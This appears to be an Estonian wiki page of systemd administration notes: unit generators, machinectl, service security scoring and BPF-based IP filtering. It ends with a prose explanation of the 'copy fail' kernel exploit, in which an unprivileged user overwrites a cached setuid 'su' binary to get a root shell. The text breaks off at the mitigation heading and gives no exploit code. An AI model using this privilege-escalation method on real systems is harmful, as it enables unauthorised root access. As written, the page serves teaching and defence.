-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (arvuti mälu)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (arvuti mälu)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (arvuti mälu)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (plokkseade)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
  plokkseade (füüsiline ese)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
